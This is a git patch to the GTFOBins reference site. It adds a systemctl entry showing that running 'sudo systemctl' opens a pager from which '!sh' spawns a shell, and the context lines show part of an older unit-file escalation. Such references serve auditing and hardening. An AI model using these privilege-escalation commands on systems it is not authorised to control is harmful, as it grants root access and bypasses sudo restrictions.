From f79b10a5f8f8cc3a5105b2bfc2b72cac9d638ea7 Mon Sep 17 00:00:00 2001 From: Rich Mirch Date: Tue, 16 Apr 2019 08:41:32 -0500 Subject: [PATCH] Add systemctl sudo shell usingpager --- _gtfobins/systemctl.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/_gtfobins/systemctl.md b/_gtfobins/systemctl.md index 05d2964..597a30e 100644 --- a/_gtfobins/systemctl.md +++ b/_gtfobins/systemctl.md @@ -20,4 +20,8 @@ functions: WantedBy=multi-user.target' > $TF sudo systemctl link $TF sudo systemctl enable --now $TF + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | + sudo systemctl + !sh ---